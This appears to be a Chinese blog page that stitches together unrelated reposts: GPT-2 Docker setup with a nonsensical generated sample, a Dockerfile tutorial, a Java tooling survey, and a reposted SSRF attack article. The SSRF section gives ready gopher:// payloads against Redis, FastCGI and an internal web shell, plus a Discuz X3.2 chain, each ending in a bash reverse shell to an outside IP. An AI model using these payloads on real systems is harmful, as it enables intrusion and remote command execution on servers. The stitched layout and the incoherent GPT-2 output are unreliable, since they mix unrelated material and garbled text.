gpt-2安装和使用

关于gpt2的安装,官网git上有详细的方法。这里提供一种docker安装的方式。

https://github.com/openai/gpt-2/blob/master/DEVELOPERS.md

Docker Installation

Build the Dockerfile and tag the created image as gpt-2:

docker build --tag gpt-2 -f Dockerfile.gpu . # or Dockerfile.cpu

Start an interactive bash session from the gpt-2 docker image.

You can opt to use the --runtime=nvidia flag if you have access to a NVIDIA GPU and a valid install of nvidia-docker 2.0.

docker run --runtime=nvidia -it gpt-2 bash
安装完成后,如果报:

AttributeError: module ‘tensorflow’ has no attribute ‘xxxx’的错误,重新卸载和安装tensorflow即可。:

1,pip uninstall tensorflow

2,pip install tensorflow

测试结果

测试结果

在简短的说明文档里,有三种示例运行模式,第一种是无限制乱说模式,

python3 src/generate_unconditional_samples.py | tee samples

这段命令行的意思是,| 这个通道符号之前是主要的调用代码,无限制生成文本片段,tee 是 linux 下的一个命令行工具,用于将产生的文本重定向到文件 samples 中。第二种运行模式是用几个参数改变无限制生成文本的特性,

python3 src/generate_unconditional_samples.py --top_k 40 --temperature 0.7 | tee samples

其中最重要的那个参数可能是 temperature (温度), 这个参数调节输出的随机性,温度越高,随机性越强,越低,出现copy训练语料里说过的话的几率就越大。具体实现应该是从 logits 到字典中字的 index 计算的 softmax 函数中加入温度参数 T,

[公式]

第三种运行模式, 交互式按照用户提示生成文本片段,这种模式最有意思,也是我们要调戏的对象。调用代码是,

python3 src/interactive_conditional_samples.py

下面是一个例子,效果不太好

Model prompt >>> Snow White and Transformers
======================================== SAMPLE 1 ========================================
: The Last Knight as the Bundles. Released in Japan in 1999 as The Predatory White, this manga Jamie appears to be made by Santa Claus.

In Friends: Firstly we find out that Jamie has successfully become an adult, despite being struggling with bankruptcy and all that, it seems. While young and seemingly used to working alone, he falls for the woman who treats her much better than other characters.

But wait no more, she fights after Jamie and soon falls in love with Daisy. It doesn’t take that long to make out even more love back in Nicholas Cage connection but it’s written in cadence so it’s not really that long back.

On Nicholas Cage, Jamie is finally embracing the role that he was actually engaged in as a teenager: He watched the Brown Brothers The Shawshank Redemption and that made him Titanite. It wasn’t until the same film that he completely succumbed to cowardice, rather in the way he said “Hey, this is why I have a skirt now, I’m not sure if it does any good. I’m starting to wonder if this is a animalistic mature woman. However, to serve men, they’re way too similar. It’s like a beautiful woman rather than the same bitch that had nothing to do with the man. Which being true, I’d never normally argue for this.”

Appear in Halloween 6th as a Regent of the Wardrobe, now standing in he saves Henry from being devastated by the title to Baby Belle.

Jamie in Space solves crises, saving Captain Race from mutated beasts throwing the latter super mutants into space.

In Uprising, in juxtaposing the monsters running through space to the drill that takes Charlie as the leader, Jamie sidesteps the danger through cryptic symbols by blending human emotions into his scattered messages—I ♡ A good way to pray. Boo Boo!

In Guys Who Wear Mini Hats, Jamie rescues rescuers: Jay McLean and Robbie Bar-Sotto.

In Moombaine’s Boarding Line of Asteroids, Jamie is found trying to figure out what’s going on behind the underground ship Icarus when Kitty Pope comes back. Initially the plot hinges on if “I cannot” being a signal to Cygnus with tubes coming in. However, one scene simply made sense, putting pressure on to Kitty by going back to Icarus. So why is the second handled the more foolish way.

Jamie is now raising Kitty Papillon up as a guide

[转]使用 Dockerfile 定制镜像

原文地址:https://yeasy.gitbooks.io/docker_practice/image/build.html

从刚才的 docker commit 的学习中,我们可以了解到,镜像的定制实际上就是定制每一层所添加的配置、文件。如果我们可以把每一层修改、安装、构建、操作的命令都写入一个脚本,用这个脚本来构建、定制镜像,那么之前提及的无法重复的问题、镜像构建透明性的问题、体积的问题就都会解决。这个脚本就是 Dockerfile。

Dockerfile 是一个文本文件,其内包含了一条条的 指令(Instruction),每一条指令构建一层,因此每一条指令的内容,就是描述该层应当如何构建。

还以之前定制 nginx 镜像为例,这次我们使用 Dockerfile 来定制。

在一个空白目录中,建立一个文本文件,并命名为 Dockerfile

$ mkdir mynginx
$ cd mynginx
$ touch Dockerfile

其内容为:

FROM nginx
RUN echo '<h1>Hello, Docker!</h1>' > /usr/share/nginx/html/index.html

这个 Dockerfile 很简单,一共就两行。涉及到了两条指令,FROM 和 RUN

FROM 指定基础镜像

所谓定制镜像,那一定是以一个镜像为基础,在其上进行定制。就像我们之前运行了一个 nginx 镜像的容器,再进行修改一样,基础镜像是必须指定的。而 FROM 就是指定 基础镜像,因此一个 Dockerfile 中 FROM 是必备的指令,并且必须是第一条指令。

在 Docker Hub 上有非常多的高质量的官方镜像,有可以直接拿来使用的服务类的镜像,如 nginxredismongomysqlhttpdphptomcat 等;也有一些方便开发、构建、运行各种语言应用的镜像,如 nodeopenjdkpythonrubygolang 等。可以在其中寻找一个最符合我们最终目标的镜像为基础镜像进行定制。

如果没有找到对应服务的镜像,官方镜像中还提供了一些更为基础的操作系统镜像,如 ubuntudebiancentosfedoraalpine 等,这些操作系统的软件库为我们提供了更广阔的扩展空间。

除了选择现有镜像为基础镜像外,Docker 还存在一个特殊的镜像,名为 scratch。这个镜像是虚拟的概念,并不实际存在,它表示一个空白的镜像。

FROM scratch
...

如果你以 scratch 为基础镜像的话,意味着你不以任何镜像为基础,接下来所写的指令将作为镜像第一层开始存在。

不以任何系统为基础,直接将可执行文件复制进镜像的做法并不罕见,比如 swarmetcd。对于 Linux 下静态编译的程序来说,并不需要有操作系统提供运行时支持,所需的一切库都已经在可执行文件里了,因此直接 FROM scratch 会让镜像体积更加小巧。使用 Go 语言 开发的应用很多会使用这种方式来制作镜像,这也是为什么有人认为 Go 是特别适合容器微服务架构的语言的原因之一。

RUN 执行命令

RUN 指令是用来执行命令行命令的。由于命令行的强大能力,RUN 指令在定制镜像时是最常用的指令之一。其格式有两种:

  • shell 格式:RUN <命令>,就像直接在命令行中输入的命令一样。刚才写的 Dockerfile 中的 RUN 指令就是这种格式。
RUN echo '<h1>Hello, Docker!</h1>' > /usr/share/nginx/html/index.html
  • exec 格式:RUN ["可执行文件", "参数1", "参数2"],这更像是函数调用中的格式。

既然 RUN 就像 Shell 脚本一样可以执行命令,那么我们是否就可以像 Shell 脚本一样把每个命令对应一个 RUN 呢?比如这样:

FROM debian:stretch

RUN apt-get update
RUN apt-get install -y gcc libc6-dev make wget
RUN wget -O redis.tar.gz "http://download.redis.io/releases/redis-5.0.3.tar.gz"
RUN mkdir -p /usr/src/redis
RUN tar -xzf redis.tar.gz -C /usr/src/redis --strip-components=1
RUN make -C /usr/src/redis
RUN make -C /usr/src/redis install

之前说过,Dockerfile 中每一个指令都会建立一层,RUN 也不例外。每一个 RUN 的行为,就和刚才我们手工建立镜像的过程一样:新建立一层,在其上执行这些命令,执行结束后,commit 这一层的修改,构成新的镜像。

而上面的这种写法,创建了 7 层镜像。这是完全没有意义的,而且很多运行时不需要的东西,都被装进了镜像里,比如编译环境、更新的软件包等等。结果就是产生非常臃肿、非常多层的镜像,不仅仅增加了构建部署的时间,也很容易出错。 这是很多初学 Docker 的人常犯的一个错误。

Union FS 是有最大层数限制的,比如 AUFS,曾经是最大不得超过 42 层,现在是不得超过 127 层。

上面的 Dockerfile 正确的写法应该是这样:

FROM debian:stretch

RUN buildDeps='gcc libc6-dev make wget' \
    && apt-get update \
    && apt-get install -y $buildDeps \
    && wget -O redis.tar.gz "http://download.redis.io/releases/redis-5.0.3.tar.gz" \
    && mkdir -p /usr/src/redis \
    && tar -xzf redis.tar.gz -C /usr/src/redis --strip-components=1 \
    && make -C /usr/src/redis \
    && make -C /usr/src/redis install \
    && rm -rf /var/lib/apt/lists/* \
    && rm redis.tar.gz \
    && rm -r /usr/src/redis \
    && apt-get purge -y --auto-remove $buildDeps

首先,之前所有的命令只有一个目的,就是编译、安装 redis 可执行文件。因此没有必要建立很多层,这只是一层的事情。因此,这里没有使用很多个 RUN 对一一对应不同的命令,而是仅仅使用一个 RUN 指令,并使用 && 将各个所需命令串联起来。将之前的 7 层,简化为了 1 层。在撰写 Dockerfile 的时候,要经常提醒自己,这并不是在写 Shell 脚本,而是在定义每一层该如何构建。

并且,这里为了格式化还进行了换行。Dockerfile 支持 Shell 类的行尾添加 \ 的命令换行方式,以及行首 # 进行注释的格式。良好的格式,比如换行、缩进、注释等,会让维护、排障更为容易,这是一个比较好的习惯。

此外,还可以看到这一组命令的最后添加了清理工作的命令,删除了为了编译构建所需要的软件,清理了所有下载、展开的文件,并且还清理了 apt 缓存文件。这是很重要的一步,我们之前说过,镜像是多层存储,每一层的东西并不会在下一层被删除,会一直跟随着镜像。因此镜像构建时,一定要确保每一层只添加真正需要添加的东西,任何无关的东西都应该清理掉。

很多人初学 Docker 制作出了很臃肿的镜像的原因之一,就是忘记了每一层构建的最后一定要清理掉无关文件。

构建镜像

好了,让我们再回到之前定制的 nginx 镜像的 Dockerfile 来。现在我们明白了这个 Dockerfile 的内容,那么让我们来构建这个镜像吧。

在 Dockerfile 文件所在目录执行:

$ docker build -t nginx:v3 .
Sending build context to Docker daemon 2.048 kB
Step 1 : FROM nginx
 ---> e43d811ce2f4
Step 2 : RUN echo '<h1>Hello, Docker!</h1>' > /usr/share/nginx/html/index.html
 ---> Running in 9cdc27646c7b
 ---> 44aa4490ce2c
Removing intermediate container 9cdc27646c7b
Successfully built 44aa4490ce2c

从命令的输出结果中,我们可以清晰的看到镜像的构建过程。在 Step 2 中,如同我们之前所说的那样,RUN 指令启动了一个容器 9cdc27646c7b,执行了所要求的命令,并最后提交了这一层 44aa4490ce2c,随后删除了所用到的这个容器 9cdc27646c7b

这里我们使用了 docker build 命令进行镜像构建。其格式为:

docker build [选项] <上下文路径/URL/->

在这里我们指定了最终镜像的名称 -t nginx:v3,构建成功后,我们可以像之前运行 nginx:v2 那样来运行这个镜像,其结果会和 nginx:v2 一样。

镜像构建上下文(Context)

如果注意,会看到 docker build 命令最后有一个 .. 表示当前目录,而 Dockerfile 就在当前目录,因此不少初学者以为这个路径是在指定 Dockerfile 所在路径,这么理解其实是不准确的。如果对应上面的命令格式,你可能会发现,这是在指定 上下文路径。那么什么是上下文呢?

首先我们要理解 docker build 的工作原理。Docker 在运行时分为 Docker 引擎(也就是服务端守护进程)和客户端工具。Docker 的引擎提供了一组 REST API,被称为 Docker Remote API,而如 docker 命令这样的客户端工具,则是通过这组 API 与 Docker 引擎交互,从而完成各种功能。因此,虽然表面上我们好像是在本机执行各种 docker 功能,但实际上,一切都是使用的远程调用形式在服务端(Docker 引擎)完成。也因为这种 C/S 设计,让我们操作远程服务器的 Docker 引擎变得轻而易举。

当我们进行镜像构建的时候,并非所有定制都会通过 RUN 指令完成,经常会需要将一些本地文件复制进镜像,比如通过 COPY 指令、ADD 指令等。而 docker build 命令构建镜像,其实并非在本地构建,而是在服务端,也就是 Docker 引擎中构建的。那么在这种客户端/服务端的架构中,如何才能让服务端获得本地文件呢?

这就引入了上下文的概念。当构建的时候,用户会指定构建镜像上下文的路径,docker build 命令得知这个路径后,会将路径下的所有内容打包,然后上传给 Docker 引擎。这样 Docker 引擎收到这个上下文包后,展开就会获得构建镜像所需的一切文件。

如果在 Dockerfile 中这么写:

COPY ./package.json /app/

这并不是要复制执行 docker build 命令所在的目录下的 package.json,也不是复制 Dockerfile 所在目录下的 package.json,而是复制 上下文(context) 目录下的 package.json

因此,COPY 这类指令中的源文件的路径都是相对路径。这也是初学者经常会问的为什么 COPY ../package.json /app 或者 COPY /opt/xxxx /app 无法工作的原因,因为这些路径已经超出了上下文的范围,Docker 引擎无法获得这些位置的文件。如果真的需要那些文件,应该将它们复制到上下文目录中去。

现在就可以理解刚才的命令 docker build -t nginx:v3 . 中的这个 .,实际上是在指定上下文的目录,docker build 命令会将该目录下的内容打包交给 Docker 引擎以帮助构建镜像。

如果观察 docker build 输出,我们其实已经看到了这个发送上下文的过程:

$ docker build -t nginx:v3 .
Sending build context to Docker daemon 2.048 kB
...

理解构建上下文对于镜像构建是很重要的,避免犯一些不应该的错误。比如有些初学者在发现 COPY /opt/xxxx /app 不工作后,于是干脆将 Dockerfile 放到了硬盘根目录去构建,结果发现 docker build 执行后,在发送一个几十 GB 的东西,极为缓慢而且很容易构建失败。那是因为这种做法是在让 docker build 打包整个硬盘,这显然是使用错误。

一般来说,应该会将 Dockerfile 置于一个空目录下,或者项目根目录下。如果该目录下没有所需文件,那么应该把所需文件复制一份过来。如果目录下有些东西确实不希望构建时传给 Docker 引擎,那么可以用 .gitignore 一样的语法写一个 .dockerignore,该文件是用于剔除不需要作为上下文传递给 Docker 引擎的。

那么为什么会有人误以为 . 是指定 Dockerfile 所在目录呢?这是因为在默认情况下,如果不额外指定 Dockerfile 的话,会将上下文目录下的名为 Dockerfile 的文件作为 Dockerfile。

这只是默认行为,实际上 Dockerfile 的文件名并不要求必须为 Dockerfile,而且并不要求必须位于上下文目录中,比如可以用 -f ../Dockerfile.php 参数指定某个文件作为 Dockerfile

当然,一般大家习惯性的会使用默认的文件名 Dockerfile,以及会将其置于镜像构建上下文目录中。

其它 docker build 的用法

直接用 Git repo 进行构建

或许你已经注意到了,docker build 还支持从 URL 构建,比如可以直接从 Git repo 中构建:

$ docker build https://github.com/twang2218/gitlab-ce-zh.git#:11.1

Sending build context to Docker daemon 2.048 kB
Step 1 : FROM gitlab/gitlab-ce:11.1.0-ce.0
11.1.0-ce.0: Pulling from gitlab/gitlab-ce
aed15891ba52: Already exists
773ae8583d14: Already exists
...

这行命令指定了构建所需的 Git repo,并且指定默认的 master 分支,构建目录为 /11.1/,然后 Docker 就会自己去 git clone 这个项目、切换到指定分支、并进入到指定目录后开始构建。

用给定的 tar 压缩包构建

$ docker build http://server/context.tar.gz

如果所给出的 URL 不是个 Git repo,而是个 tar 压缩包,那么 Docker 引擎会下载这个包,并自动解压缩,以其作为上下文,开始构建。

从标准输入中读取 Dockerfile 进行构建

docker build - < Dockerfile

cat Dockerfile | docker build -

如果标准输入传入的是文本文件,则将其视为 Dockerfile,并开始构建。这种形式由于直接从标准输入中读取 Dockerfile 的内容,它没有上下文,因此不可以像其他方法那样可以将本地文件 COPY 进镜像之类的事情。

从标准输入中读取上下文压缩包进行构建

$ docker build - < context.tar.gz

如果发现标准输入的文件格式是 gzipbzip2 以及 xz 的话,将会使其为上下文压缩包,直接将其展开,将里面视为上下文,并开始构建。

[转]学完这100多技术,能当架构师么?

https://juejin.im/post/5d5375baf265da03b2152f3d

前几天,有个搞培训的朋友,和我要一份java后端的进阶路线图,我就把这篇文章发给了他《必看!java后端,亮剑诛仙》。今天,又想要个java后端目前最常用的工具和框架,正好我以前画过这样一张图,于是发给了他。虽然不是很全,但也希望得到他的夸奖。没想到…


本篇内容涵盖14个方面,涉及上百个框架和工具。会有你喜欢的,大概也会有你所讨厌的家伙。这是我平常工作中打交道最多的工具,大小公司都适用。如果你有更好的,欢迎留言补充。

一、消息队列
二、缓存
三、分库分表
四、数据同步
五、通讯
六、微服务
七、分布式工具
八、监控系统
九、调度
十、入口工具
十一、OLT(A)P
十二、CI/CD
十三、问题排查
十四、本地工具
复制代码

一、消息队列


一个大型的分布式系统,通常都会异步化,走消息总线。 消息队列作为最主要的基础组件,在整个体系架构中,有着及其重要的作用。kafka是目前最常用的消息队列,尤其是在大数据方面,有着极高的吞吐量。而rocketmq和rabbitmq,都是电信级别的消息队列,在业务上用的比较多。2019年了,不要再盯着JMS不放了(说的就是臃肿的ActiveMQ)。

pulsar是为了解决一些kafka上的问题而诞生的消息系统,比较年轻,工具链有限。有些激进的团队经过试用,反响不错。

mqtt具体来说是一种协议,主要用在物联网方面,能够双向通信,属于消息队列范畴。

二、缓存


数据缓存是减少数据库压力的有效途径,有单机java内缓存,和分布式缓存之分。

对于单机来说,guava的cache和ehcache都是些熟面孔。

对于分布式缓存来说,优先选择的就是redis,别犹豫。由于redis是单线程的,并不适合高耗时操作。所以对于一些数据量比较大的缓存,比如图片、视频等,使用老牌的memcached效果会好的多。

JetCache是一个基于Java的缓存系统封装,提供统一的api和注解来简化缓存的使用。类似SpringCache,支持本地缓存和分布式缓存,是简化开发的利器。

三、分库分表


分库分表,几乎每一个上点规模的公司,都会有自己的方案。目前,推荐使用驱动层的sharding-jdbc,或者代理层的mycat。如果你没有额外的运维团队,又不想花钱买其他机器,那么就选前者。

如果分库分表涉及的项目不多,spring的动态数据源是一个非常好的选择。它直接编码在代码里,直观但不易扩展。

如果只需要读写分离 ,那么mysql官方驱动里的replication协议,是更加轻量级的选择。

上面的分库分表组件,都是大浪淘沙,最终的优胜品。这些组件不同于其他组件选型,方案一旦确定,几乎无法回退,所以要慎之又慎。

分库分表是小case,准备分库分表的阶段,才是重点:也就是数据同步。

四、数据同步


国内使用mysql的公司居多,但postgresql凭借其优异的性能,使用率逐渐攀升。

不管什么数据库,实时数据同步工具,都是把自己模拟成一个从库,进行数据拉取和解析。 具体来说,mysql是通过binlog进行同步;postgresql使用wal日志进行同步。

对mysql来说,canal是国内用的最多的方案;类似的databus也是比较好用的工具。

现在,canal、maxwell等工具,都支持将要同步的数据写入到mq中,进行后续处理,方便了很多。

对于ETL(抽取、清洗、转换)来说,基本上都是source、task、sink路线,与前面的功能对应。gobblin、datax、logstash、sqoop等,都是这样的工具。

它们的主要工作,就是怎么方便的定义配置文件,编写各种各样的数据源适配接口等。这些ETL工具,也可以作为数据同步(尤其是全量同步)的工具,通常是根据ID,或者最后更新时间 等,进行处理。

binlog是实时增量工具,ETL工具做辅助。通常一个数据同步功能,需要多个组件的参与,他们共同组成一个整体。

五、通讯


Java 中,netty已经成为当之无愧的网络开发框架,包括其上的socketio(不要再和我提mina了)。对于http协议,有common-httpclient,以及更加轻量级的工具okhttp来支持。

对于一个rpc来说,要约定一个通讯方式和序列化方式。json是最常用的序列化方式,但是传输和解析成本大,xml等文本协议与其类似,都有很多冗余的信息;avro和kryo是二进制的序列化工具,没有这些缺点,但调试不便。

rpc是远程过程调用的意思 ,其中,thrift、dubbo、gRPC默认都是二进制序列化方式的socket通讯框架;feign、hessian都是onhttp的远程调用框架。

对了,gRPC的序列化工具是protobuf,一个压缩比很高的二进制序列化工具。

通常,服务的响应时间主要耗费在业务逻辑以及数据库上,通讯层耗时在其中的占比很小。可以根据自己公司的研发水平和业务规模来选择。

六、微服务


我们不止一次说到微服务,这一次我们从围绕它的一堆支持框架,来窥探一下这个体系。是的,这里依然是在说spring cloud。

默认的注册中心eureka不再维护,consul已经成为首选。nacos、zookeeper等,都可以作为备选方案。其中nacos带有后台,比较适合国人使用习惯。

熔断组件,官方的hystrix也已经不维护了。推荐使用resilience4j,最近阿里的sentinel也表现强劲。

对于调用链来说,由于OpenTracing的兴起,有了很多新的面孔。推荐使用jaeger或者skywalking。spring cloud集成的sleuth+zipkin功能稍弱,甚至不如传统侵入式的cat。

配置中心是管理多环境配置文件的利器,尤其在你不想重启服务器的情况下进行配置更新。目前,开源中做的最好的要数apollo,并提供了对spring boot的支持。disconf使用也较为广泛。相对来说,spring cloud config功能就局限了些,用的很少。


网关方面,使用最多的就是nginx,在nginx之上,有基于lua脚本的openrestry。由于openresty的使用非常繁杂,所以有了kong这种封装级别更高的网关。

对于spring cloud来说,zuul系列推荐使用zuul2,zuul1是多线程阻塞的,有硬伤。spring-cloud-gateway是spring cloud亲生的,但目前用的不是很广泛。

七、分布式工具


大家都知道分布式系统zookeeper能用在很多场景,与其类似的还有基于raft协议的etcd和consul。

由于它们能够保证极高的一致性,所以用作协调工具是再好不过了。用途集中在:配置中心、分布式锁、命名服务、分布式协调、master选举等场所。

对于分布式事务方面,则有阿里的fescar工具进行支持。但如非特别的必要,还是使用柔性事务,追寻最终一致性,比较好。

八、监控系统


监控系统组件种类繁多,目前,最流行的大概就是上面四类。

zabbix在主机数量不多的情况下,是非常好的选择。

prometheus来势凶猛,大有一统天下的架势。它也可以使用更加漂亮的grafana进行前端展示。

influxdata的influxdb和telegraf组件,都比较好用,主要是功能很全。

使用es存储的elkb工具链,也是一个较好的选择。我所知道的很多公司,都在用。

九、调度


大家可能都用过cron表达式。这个表达式,最初就是来自linux的crontab工具。

quartz是java中比较古老的调度方案,分布式调度采用数据库锁的方式,管理界面需要自行开发。

elastic-job-cloud应用比较广泛,但系统运维复杂,学习成本较高。相对来说,xxl-job就更加轻量级一些。中国人开发的系统,后台都比较漂亮。

十、入口工具


为了统一用户的访问路口,一般会使用一些入口工具进行支持。

其中,haproxy、lvs、keepalived等,使用非常广泛。

服务器一般采用稳定性较好的centos,并配备ansible工具进行支持,那叫一个爽。

十一、OLT(A)P


现在的企业,数据量都非常大,数据仓库是必须的。

搜索方面,solr和elasticsearch比较流行,它们都是基于lucene的。solr比较成熟,稳定性更好一些,但实时搜索方面不如es。

列式存储方面,基于Hadoop 的hbase,使用最是广泛;基于LSM的leveldb写入性能优越,但目前主要是作为嵌入式引擎使用多一些。

tidb是国产新贵,兼容mysql协议,公司通过培训向外输出dba,未来可期。

时序数据库方面,opentsdb用在超大型监控系统多一些。druid和kudu,在处理多维度数据实时聚合方面,更胜一筹。

cassandra在刚出现时火了一段时间,虽然有facebook弃用的新闻,但生态已经形成,常年霸占数据库引擎前15名。


十二、CI/CD


为了支持持续集成和虚拟化,除了耳熟能详的docker,我们还有其他工具。

jenkins是打包发布的首选,毕竟这么多年了,一直是老大哥。当然,写Idea的那家公司,还出了一个叫TeamCity的工具,操作界面非常流畅。

sonar(注意图上的错误)不得不说是一个神器,用了它之后,小伙伴们的代码一片飘红,我都快被吐沫星子给淹没了。

对于公司内部来说,一般使用gitlab搭建git服务器。其实,它里面的gitlab CI,也是非常好用的。

十三、问题排查


java经常发生内存溢出问题。使用jmap导出堆栈后,我一般使用mat进行深入分析。

如果在线上实时分析,有arthas和perf两款工具。

当然,有大批量的linux工具进行支持。比如下面这些:

《Linux上,最常用的一批命令解析(10年精选)》

十四、本地工具


本地使用的jar包和工具,那就多了去了。下面仅仅提一下最最常用的几个。

数据库连接池方面,国内使用druid最多。目前,有号称速度最快的hikari数据库连接池,以及老掉牙的dbcp和c3p0。

json方面,国内使用fastjson最多,三天两头冒出个漏洞;国外则使用jackson多一些。它们的api都类似,jackson特性多一些,但fastjson更加容易使用。

工具包方面,虽然有各种commons包,guava首选。

End

今天是2019年8月13日。台风利奇马刚刚肆虐完毕。

这种文章,每一年我都会整理一次。有些新面孔,也有些被我个人t出局。架构选型,除了你本身对某项技术比较熟悉,用起来更放心。更多的是需要进行大量调研、对比,直到掌握。

技术日新月异,新瓶装旧酒,名词一箩筐,程序员很辛苦。唯有那背后的基础原理,大道至简的思想,经久不衰。

作者:小姐姐味道
链接:https://juejin.im/post/5d5375baf265da03b2152f3d
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

 

[转]利用 Gopher 协议拓展攻击面

1 概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

2 攻击面测试

2.1 环境

  • IP: 172.19.23.218
  • OS: CentOS 6

根目录下 1.php 内容为:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

2.2 攻击内网 Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

利用这个脚本攻击自身并抓包得到数据流:
2016-05-31_14:59:35.jpg

改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻击:
2016-05-31_14:56:29.jpg

2.3 攻击 FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
首先构造 exp:
2016-05-31_15:24:35.jpg

构造 Gopher 协议的 URL:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻击:
2016-05-31_15:26:25.jpg

2.4 攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

<?php system($_POST[e]);?>  

利用方式:

POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

攻击:
2016-05-31_15:19:17.jpg

3 攻击实例

3.1 利用 Discuz SSRF 攻击 FastCGI

Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
2016-06-02_10:06:00.jpg 2016-06-01_15:09:52.jpg
2016-06-02_10:06:52.jpg
测试 Gopher 协议是否可用,请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D

其中 gopher.php 内容为:

<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>

监听 2333 端口,访问上述 URL 即可验证:
2016-06-02_10:09:42.jpg

构造 FastCGI 的 Exp:

<?php
header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");
?>

请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2f1.php%3Fa.jpg%5B%2fimg%5D  

即可在 2333 端口上收到反弹的 shell:
2016-06-02_09:44:25.jpg

4 系统局限性

经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。

5 更多攻击面

基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:

  • HTTP GET/POST
  • Redis
  • Memcache
  • SMTP
  • Telnet
  • 基于一个 TCP 包的 exploit
  • FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)

更多有待补充。

6 参考

Raft的理解

Feb 9, 2018

